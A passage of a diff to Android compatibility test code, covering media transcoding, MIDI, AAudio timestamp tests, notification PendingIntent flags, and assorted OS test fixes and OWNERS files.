-        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_68Frames_Audio,
-                "Video_HEVC_68Frames_Audio.mp4"));
+    // This test will only run when the device support decoding and encoding 4K video.
+    public void testHevcTranscoding4KVideo64FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        MediaFormat format = new MediaFormat();
+        format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
+        format.setInteger(MediaFormat.KEY_WIDTH, 3840);
+        format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+        if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
+                "Video_4K_HEVC_64Frames_Audio.mp4"));
     }
 
     private void transcodeFile(Uri fileUri) throws Exception {
@@ -393,7 +478,7 @@
 
         TranscodingRequest request =
                 new TranscodingRequest.Builder()
-                        .setSourceUri(mSourceHEVCVideoUri)
+                        .setSourceUri(fileUri)
                         .setDestinationUri(destinationUri)
                         .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
                         .setClientPid(pid)
@@ -425,16 +510,37 @@
             assertTrue("Transcode failed to complete in time.", finishedOnTime);
         }
 
+        if (DEBUG_TRANSCODED_VIDEO) {
+            try {
+                // Add the system time to avoid duplicate that leads to write failure.
+                String filename =
+                        "transcoded_" + System.nanoTime() + "_" + fileUri.getLastPathSegment();
+                String path = "/storage/emulated/0/Download/" + filename;
+                final File file = new File(path);
+                ParcelFileDescriptor pfd = mContext.getContentResolver().openFileDescriptor(
+                        destinationUri, "r");
+                FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+                FileOutputStream fos = new FileOutputStream(file);
+                FileUtils.copy(fis, fos);
+            } catch (IOException e) {
+                Log.e(TAG, "Failed to copy file", e);
+            }
+        }
+
         // TODO(hkuang): Validate the transcoded video's width and height, framerate.
 
         // Validates the transcoded video's psnr.
+        // Enable this after fixing b/175644377
         MediaTranscodingTestUtil.VideoTranscodingStatistics stats =
-                MediaTranscodingTestUtil.computeStats(mContext, mSourceAVCVideoUri, destinationUri);
+                MediaTranscodingTestUtil.computeStats(mContext, fileUri, destinationUri, DEBUG_YUV);
         assertTrue("PSNR: " + stats.mAveragePSNR + " is too low",
                 stats.mAveragePSNR >= PSNR_THRESHOLD);
     }
 
     public void testCancelTranscoding() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         Log.d(TAG, "Starting: testCancelTranscoding");
         Semaphore transcodeCompleteSemaphore = new Semaphore(0);
         final CountDownLatch statusLatch = new CountDownLatch(1);
@@ -487,6 +593,9 @@
     // Transcoding video on behalf of init dameon and expect UnsupportedOperationException due to
     // CTS test is not a privilege caller.
     public void testPidAndUidForwarding() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(UnsupportedOperationException.class, () -> {
             Semaphore transcodeCompleteSemaphore = new Semaphore(0);
 
@@ -516,6 +625,9 @@
     }
 
     public void testTranscodingProgressUpdate() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
 
         Semaphore transcodeCompleteSemaphore = new Semaphore(0);
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
index 85e568d..c5500ae 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -30,9 +30,12 @@
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
 import android.util.Log;
 import android.util.Size;
 
+import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -51,6 +54,7 @@
         int mHeight = 0;
         float mVideoFrameRate = 0.0f;
         boolean mHasAudio = false;
+        int mRotationDegree = 0;
 
         public String toString() {
             String str = mUri;
@@ -101,6 +105,13 @@
             if (hasAudio != null) {
                 info.mHasAudio = hasAudio.equals("yes");
             }
+
+            retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+            String degree = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+            if (degree != null) {
+                info.mRotationDegree = Integer.parseInt(degree);
+            }
         } finally {
             if (retriever != null) {
                 retriever.close();
@@ -112,23 +123,45 @@
         return info;
     }
 
+    static void dumpYuvToExternal(final Context ctx, Uri yuvUri) {
+        Log.i(TAG, "dumping file to external");
+        try {
+            String filename = + System.nanoTime() + "_" + yuvUri.getLastPathSegment();
+            String path = "/storage/emulated/0/Download/" + filename;
+            final File file = new File(path);
+            ParcelFileDescriptor pfd = ctx.getContentResolver().openFileDescriptor(yuvUri, "r");
+            FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+            FileOutputStream fos = new FileOutputStream(file);
+            FileUtils.copy(fis, fos);
+        } catch (IOException e) {
+            Log.e(TAG, "Failed to copy file", e);
+        }
+    }
+
     static VideoTranscodingStatistics computeStats(final Context ctx, final Uri sourceMp4,
-            final Uri transcodedMp4)
+            final Uri transcodedMp4, boolean debugYuv)
             throws Exception {
         // First decode the sourceMp4 to a temp yuv in yuv420p format.
         Uri sourceYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
                 + ctx.getCacheDir().getAbsolutePath() + "/sourceYUV420P.yuv");
         decodeMp4ToYuv(ctx, sourceMp4, sourceYUV420PUri);
         VideoFileInfo srcInfo = extractVideoFileInfo(ctx, sourceMp4);
+        if (debugYuv) {
+            dumpYuvToExternal(ctx, sourceYUV420PUri);
+        }
 
         // Second decode the transcodedMp4 to a temp yuv in yuv420p format.
         Uri transcodedYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
                 + ctx.getCacheDir().getAbsolutePath() + "/transcodedYUV420P.yuv");
         decodeMp4ToYuv(ctx, transcodedMp4, transcodedYUV420PUri);
         VideoFileInfo dstInfo = extractVideoFileInfo(ctx, sourceMp4);
+        if (debugYuv) {
+            dumpYuvToExternal(ctx, transcodedYUV420PUri);
+        }
 
         if ((srcInfo.mWidth != dstInfo.mWidth) || (srcInfo.mHeight != dstInfo.mHeight) ||
-                (srcInfo.mNumVideoFrames != dstInfo.mNumVideoFrames)) {
+                (srcInfo.mNumVideoFrames != dstInfo.mNumVideoFrames) ||
+                (srcInfo.mRotationDegree != dstInfo.mRotationDegree)) {
             throw new UnsupportedOperationException(
                     "Src mp4 and dst mp4 must have same width/height/frames");
         }
@@ -167,6 +200,7 @@
                     videoTrackIndex = i;
                     break;
                 }
+                extractor.unselectTrack(i);
             }
             if (videoTrackIndex == -1) {
                 throw new IllegalArgumentException("Can not find video track");
diff --git a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
index d5de80b..186967d 100644
--- a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
+++ b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
@@ -114,11 +114,13 @@
     // Store received messages in an array.
     class MyLoggingReceiver extends MidiReceiver {
         ArrayList<MidiMessage> messages = new ArrayList<MidiMessage>();
+        int mByteCount;
 
         @Override
         public synchronized void onSend(byte[] data, int offset, int count,
                 long timestamp) {
             messages.add(new MidiMessage(data, offset, count, timestamp));
+            mByteCount += count;
             notifyAll();
         }
 
@@ -126,6 +128,10 @@
             return messages.size();
         }
 
+        public synchronized int getByteCount() {
+            return mByteCount;
+        }
+
         public synchronized MidiMessage getMessage(int index) {
             return messages.get(index);
         }
@@ -147,6 +153,24 @@
                 timeToWait = endTimeMs - System.currentTimeMillis();
             }
         }
+
+        /**
+         * Wait until count bytes have arrived. This is a cumulative total.
+         *
+         * @param count
+         * @param timeoutMs
+         * @throws InterruptedException
+         */
+        public synchronized void waitForBytes(int count, int timeoutMs)
+                throws InterruptedException {
+            long endTimeMs = System.currentTimeMillis() + timeoutMs + 1;
+            long timeToWait = timeoutMs + 1;
+            while ((getByteCount() < count)
+                    && (timeToWait > 0)) {
+                wait(timeToWait);
+                timeToWait = endTimeMs - System.currentTimeMillis();
+            }
+        }
     }
 
     @Override
@@ -359,12 +383,13 @@
         mc.echoInputPort.send(buffer, 0, 0, timestamp); // should be a NOOP
 
         // Wait for message to pass quickly through echo service.
-        final int numMessages = 1;
+        // Message sent may have been split into multiple received messages.
+        // So wait until we receive all the expected bytes.
+        final int numBytesExpected = buffer.length;
         final int timeoutMs = 20;
         synchronized (receiver) {
-            receiver.waitForMessages(numMessages, timeoutMs);
+            receiver.waitForBytes(numBytesExpected, timeoutMs);
         }
-        // Message sent may have been split into multiple received messages.
 
         // Check total size.
         final int numReceived = receiver.getMessageCount();
@@ -374,9 +399,10 @@
             totalBytesReceived += message.data.length;
             assertEquals("timestamp in message", timestamp, message.timestamp);
         }
-        assertEquals("byte count of messages", buffer.length,
+        assertEquals("byte count of messages", numBytesExpected,
                 totalBytesReceived);
 
+        // Make sure the payload was not corrupted.
         int sentIndex = 0;
         for (int i = 0; i < numReceived; i++) {
             MidiMessage message = receiver.getMessage(i);
diff --git a/tests/tests/mimemap/OWNERS b/tests/tests/mimemap/OWNERS
index 7f38126..213af28 100644
--- a/tests/tests/mimemap/OWNERS
+++ b/tests/tests/mimemap/OWNERS
@@ -1,4 +1,2 @@
 # Bug component: 24949
-include platform/libcore:/OWNERS
-jsharkey@android.com
-
+include platform/frameworks/base:/mime/OWNERS
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index b8ea502..23aff51 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -35,6 +35,10 @@
     PARAM_PERF_MODE
 };
 
+static const int64_t MAX_LATENCY_RANGE = 200 * NANOS_PER_MILLISECOND;
+static const int64_t MAX_LATENCY = 800 * NANOS_PER_MILLISECOND;
+static const int NUM_TIMESTAMP_QUERY = 3;
+
 static std::string getTestName(const ::testing::TestParamInfo<StreamTestParams>& info) {
     return std::string() + sharingModeToString(std::get<PARAM_SHARING_MODE>(info.param)) +
             "__" + performanceModeToString(std::get<PARAM_PERF_MODE>(info.param));
@@ -129,6 +133,61 @@
         }
     }
 
+    int64_t getLatency(const int64_t presentationTime, const int64_t presentationPosition) const {
+        const int64_t frameIndex = isOutput() ? AAudioStream_getFramesWritten(stream())
+                                              : AAudioStream_getFramesRead(stream());
+        const int64_t nowNs = getNanoseconds();
+        const int64_t frameIndexDelta = frameIndex - presentationPosition;
+        const int64_t frameTimeDelta = (frameIndexDelta * NANOS_PER_SECOND) / actual().sampleRate;
+        const int64_t framePresentationTime = presentationTime + frameTimeDelta;
+        return isOutput() ? (framePresentationTime - nowNs) : (nowNs - framePresentationTime);
+    }
+
+    void testTimestamp(const int64_t timeoutNanos) {
+        // Record for 1 seconds to ensure we can get a valid timestamp
+        const int32_t frames = actual().sampleRate;
+        mHelper->startStream();
+        int64_t maxLatencyNanos = 0;
+        int64_t minLatencyNanos = NANOS_PER_SECOND;
+        int64_t sumLatencyNanos = 0;
+        int64_t lastPresentationPosition = -1;
+        // Get the maximum and minimum latency within 3 successfully timestamp query.
+        for (int i = 0; i < NUM_TIMESTAMP_QUERY; ++i) {
+            aaudio_result_t result;
+            int maxRetries = 10; // Try 10 times to get timestamp
+            int64_t presentationTime = 0;
+            int64_t presentationPosition = 0;
+            do {
+                processData(frames, timeoutNanos);
+                presentationTime = 0;
+                presentationPosition = 0;
+                result = AAudioStream_getTimestamp(
+                        stream(), CLOCK_MONOTONIC, &presentationPosition, &presentationTime);
+            } while (result != AAUDIO_OK && --maxRetries > 0 &&
+                    lastPresentationPosition == presentationPosition);
+
+            if (result == AAUDIO_OK) {
+                const int64_t latencyNanos = getLatency(presentationTime, presentationPosition);
+                maxLatencyNanos = std::max(maxLatencyNanos, latencyNanos);
+                minLatencyNanos = std::min(minLatencyNanos, latencyNanos);
+                sumLatencyNanos += latencyNanos;
+            }
+
+            EXPECT_EQ(AAUDIO_OK, result);
+            // There should be a new timestamp available in 10s.
+            EXPECT_NE(lastPresentationPosition, presentationPosition);
+            lastPresentationPosition = presentationPosition;
+        }
+        mHelper->stopStream();
+        // The latency must be consistent.
+        EXPECT_LT(maxLatencyNanos - minLatencyNanos, MAX_LATENCY_RANGE);
+        EXPECT_LT(sumLatencyNanos / NUM_TIMESTAMP_QUERY, MAX_LATENCY);
+    }
+
+    virtual bool isOutput() const = 0;
+
+    virtual void processData(const int32_t frames, const int64_t timeoutNanos) = 0;
+
     std::unique_ptr<T> mHelper;
     bool mSetupSuccessful = false;
 
@@ -140,6 +199,9 @@
 protected:
     void SetUp() override;
 
+    bool isOutput() const override { return false; }
+    void processData(const int32_t frames, const int64_t timeoutNanos) override;
+
     int32_t mFramesPerRead;
 };
 
@@ -163,6 +225,18 @@
     allocateDataBuffer(mFramesPerRead);
 }
 
+void AAudioInputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+    // See b/62090113. For legacy path, the device is only known after
+    // the stream has been started.
+    EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+    for (int32_t framesLeft = frames; framesLeft > 0; ) {
+        aaudio_result_t result = AAudioStream_read(
+                stream(), getDataBuffer(), std::min(frames, mFramesPerRead), timeoutNanos);
+        EXPECT_GT(result, 0);
+        framesLeft -= result;
+    }
+}
+
 TEST_P(AAudioInputStreamTest, testReading) {
     if (!mSetupSuccessful) return;
 
@@ -170,22 +244,19 @@
     EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
     EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
     mHelper->startStream();
-    // See b/62090113. For legacy path, the device is only known after
-    // the stream has been started.
-    ASSERT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
-    for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
-        aaudio_result_t result = AAudioStream_read(
-                stream(), getDataBuffer(), std::min(framesToRecord, mFramesPerRead),
-                DEFAULT_READ_TIMEOUT);
-        ASSERT_GT(result, 0);
-        framesLeft -= result;
-    }
+    processData(framesToRecord, DEFAULT_READ_TIMEOUT);
     mHelper->stopStream();
     EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
     EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
     EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
 }
 
+TEST_P(AAudioInputStreamTest, testGetTimestamp) {
+    if (!mSetupSuccessful) return;
+
+    testTimestamp(DEFAULT_READ_TIMEOUT);
+}
+
 TEST_P(AAudioInputStreamTest, testStartReadStop) {
     if (!mSetupSuccessful) return;
 
@@ -274,6 +345,9 @@
 class AAudioOutputStreamTest : public AAudioStreamTest<OutputStreamBuilderHelper> {
   protected:
     void SetUp() override;
+
+    bool isOutput() const override { return true; }
+    void processData(const int32_t frames, const int64_t timeoutNanos) override;
 };
 
 void AAudioOutputStreamTest::SetUp() {
@@ -290,6 +364,16 @@
     allocateDataBuffer(framesPerBurst());
 }
 
+void AAudioOutputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+    for (int32_t framesLeft = frames; framesLeft > 0;) {
+        aaudio_result_t framesWritten = AAudioStream_write(
+                stream(), getDataBuffer(),
+                std::min(framesPerBurst(), framesLeft), timeoutNanos);
+        EXPECT_GT(framesWritten, 0);
+        framesLeft -= framesWritten;
+    }
+}
+
 TEST_P(AAudioOutputStreamTest, testWriting) {
     if (!mSetupSuccessful) return;
 
@@ -454,6 +538,19 @@
     }
 }
 
+TEST_P(AAudioOutputStreamTest, testGetTimestamp) {
+    if (!mSetupSuccessful) return;
+
+    // Calculate a reasonable timeout value.
+    const int32_t timeoutBursts = 20;
+    int64_t timeoutNanos =
+            timeoutBursts * (NANOS_PER_SECOND * framesPerBurst() / actual().sampleRate);
+    // Account for cold start latency.
+    timeoutNanos = std::max(timeoutNanos, 400 * NANOS_PER_MILLISECOND);
+
+    testTimestamp(timeoutNanos);
+}
+
 TEST_P(AAudioOutputStreamTest, testRelease) {
     if (!mSetupSuccessful) return;
 
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
index 803f55e..fca8837 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
@@ -128,7 +128,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index f5606de..df0d592 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -314,7 +314,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
index 83d2978..cf8981d 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -101,6 +101,6 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index 4318f7f..ee3b3e6 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -262,7 +262,7 @@
         mUi.dropShellPermissionIdentity();
 
         PendingIntent sendIntent = PendingIntent.getActivity(mContext, 0,
-                new Intent(Intent.ACTION_SEND), 0);
+                new Intent(Intent.ACTION_SEND), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action sendAction = new Notification.Action.Builder(ICON_ID, "SEND",
                 sendIntent).build();
 
@@ -530,7 +530,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action action = new Notification.Action.Builder(null, "",
                 pendingIntent).build();
         // This method has to exist and the call cannot fail
@@ -675,7 +675,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
index 52fe892..c164656 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -129,7 +129,7 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
 
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 96787e7..e70782d 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -34,6 +35,11 @@
         -->
     </test>
 
+    <!-- Create Place to store apks -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/os" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts/os" />
+    </target_preparer>
     <!-- Load additional APKs onto device -->
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
diff --git a/tests/tests/os/OWNERS b/tests/tests/os/OWNERS
new file mode 100644
index 0000000..3429892
--- /dev/null
+++ b/tests/tests/os/OWNERS
@@ -0,0 +1,4 @@
+per-file *AutoRevoke* = eugenesusla@google.com
+per-file *Companion* = eugenesusla@google.com
+per-file *AndroidManifest.xml = eugenesusla@google.com
+per-file *CtsOsTestCases.xml = eugenesusla@google.com
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 86972fc..026e5df 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -35,6 +35,7 @@
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiObject2
 import android.view.accessibility.AccessibilityNodeInfo
+import android.view.accessibility.AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
 import android.widget.Switch
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
@@ -433,10 +434,13 @@
         waitForIdle()
         return eventually {
             val ui = instrumentation.uiAutomation.rootInActiveWindow
-            return@eventually ui.lowestCommonAncestor(
-                { node -> node.textAsString == "Remove permissions if app isn’t used" },
-                { node -> node.className == Switch::class.java.name }
-            ).assertNotNull {
+            val node = ui.lowestCommonAncestor(
+                    { node -> node.textAsString == "Remove permissions if app isn’t used" },
+                    { node -> node.className == Switch::class.java.name })
+            if (node == null) {
+                ui.depthFirstSearch { it.isScrollable }?.performAction(ACTION_SCROLL_FORWARD)
+            }
+            return@eventually node.assertNotNull {
                 "No auto-revoke whitelist toggle found in\n${uiDump(ui)}"
             }.depthFirstSearch { node -> node.className == Switch::class.java.name }!!
         }
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index ca0f84a..45fcee9 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -85,9 +85,6 @@
 
         List<String> abiList = Arrays.asList(abiListProperty);
 
-        // Every device must support at least one 32 bit ABI.
-        assertTrue(Build.SUPPORTED_32_BIT_ABIS.length > 0);
-
         // Every supported 32 bit ABI must be present in Build.SUPPORTED_ABIS.
         for (String abi : Build.SUPPORTED_32_BIT_ABIS) {
             assertTrue(abiList.contains(abi));
@@ -258,6 +255,8 @@
 
         assertTrue(SKU_PATTERN.matcher(Build.SKU).matches());
 
+        assertTrue(SKU_PATTERN.matcher(Build.ODM_SKU).matches());
+
         assertTrue(TAGS_PATTERN.matcher(Build.TAGS).matches());
 
         // No format requirements stated in CDD for Build.TIME
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
index c9ad47f..6d0a68a 100644
--- a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
@@ -70,7 +70,7 @@
                     case "ARE":
                         final PendingIntent pi = PendingIntent.getActivity(
                                 CrossProcessExceptionService.this, 12, new Intent(),
-                                PendingIntent.FLAG_CANCEL_CURRENT);
+                                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
                         throw new AuthenticationRequiredException(new FileNotFoundException("FNFE"), pi);
                     case "RE":
                         throw new RuntimeException("RE");
diff --git a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
index c779f8a..e83b54a 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverLegacyPathTest.java
@@ -21,6 +21,7 @@
 import android.net.Uri;
 import android.os.ConditionVariable;
 import android.os.FileObserver;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.MediaStore;
 import android.test.AndroidTestCase;
 import java.io.File;
@@ -55,12 +56,13 @@
      * MODIFY events on that file, ensuring that, in the case of a FUSE mounted
      * file system, changes applied to the lower file system will be detected
      * by a monitored FUSE folder.
-     * Instead of checking if the set of generated events if exactly the same
+     * Instead of checking if the set of generated events is exactly the same
      * as the set of expected events, the test checks if the set of generated
      * events contains CREATE, OPEN and MODIFY. This because there may be other
      * services (e.g., file indexing) that may access the newly created file,
      * generating spurious events that this test doesn't care of and filters
      * them out. */
+    @AppModeFull(reason = "Instant apps cannot access external storage")
     public void testCreateFile() throws Exception {
         String imageName = "image" + System.currentTimeMillis() + ".jpg";
 
@@ -82,15 +84,16 @@
         os.write("TEST".getBytes("UTF-8"));
         os.close();
 
-        /* Wait for for the inotify events to be catched. A timeout occurs
-         * after 2 seconds. */
+        /* Wait for for the inotify events to be caught. A timeout occurs after
+         * 2 seconds. */
         mCond.block(2000);
 
         int detectedEvents = fileObserver.getEvents().getOrDefault(imageName, 0);
 
         /* Verify if the received events correspond to the ones that were requested */
-        assertEquals("Uncatched some of the events", PathFileObserver.eventsToSet(eventsMask),
-                PathFileObserver.eventsToSet(detectedEvents & eventsMask));
+        assertEquals("Expected and received inotify events do not match",
+            PathFileObserver.eventsToSet(eventsMask),
+            PathFileObserver.eventsToSet(detectedEvents & eventsMask));
 
         fileObserver.stopWatching();
     }
@@ -125,7 +128,7 @@
                     path, filteredEvent | mGeneratedEventsMap.getOrDefault(path, 0));
 
             /* Release the condition variable only if at least all the matching
-             * events have been catched for every monitored file. */
+             * events have been caught for every monitored file. */
             for (String file : mMonitoredEventsMap.keySet()) {
                 int monitoredEvents = mMonitoredEventsMap.getOrDefault(file, 0);
                 int generatedEvents = mGeneratedEventsMap.getOrDefault(file, 0);
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 66a11d4..d29e8f7 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.fail;
 
 import android.os.Parcel;
@@ -380,31 +379,6 @@
     }
 
     @Test
-    public void testSetStrength() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        int[] strengths = {
-                VibrationEffect.EFFECT_STRENGTH_LIGHT,
-                VibrationEffect.EFFECT_STRENGTH_MEDIUM,
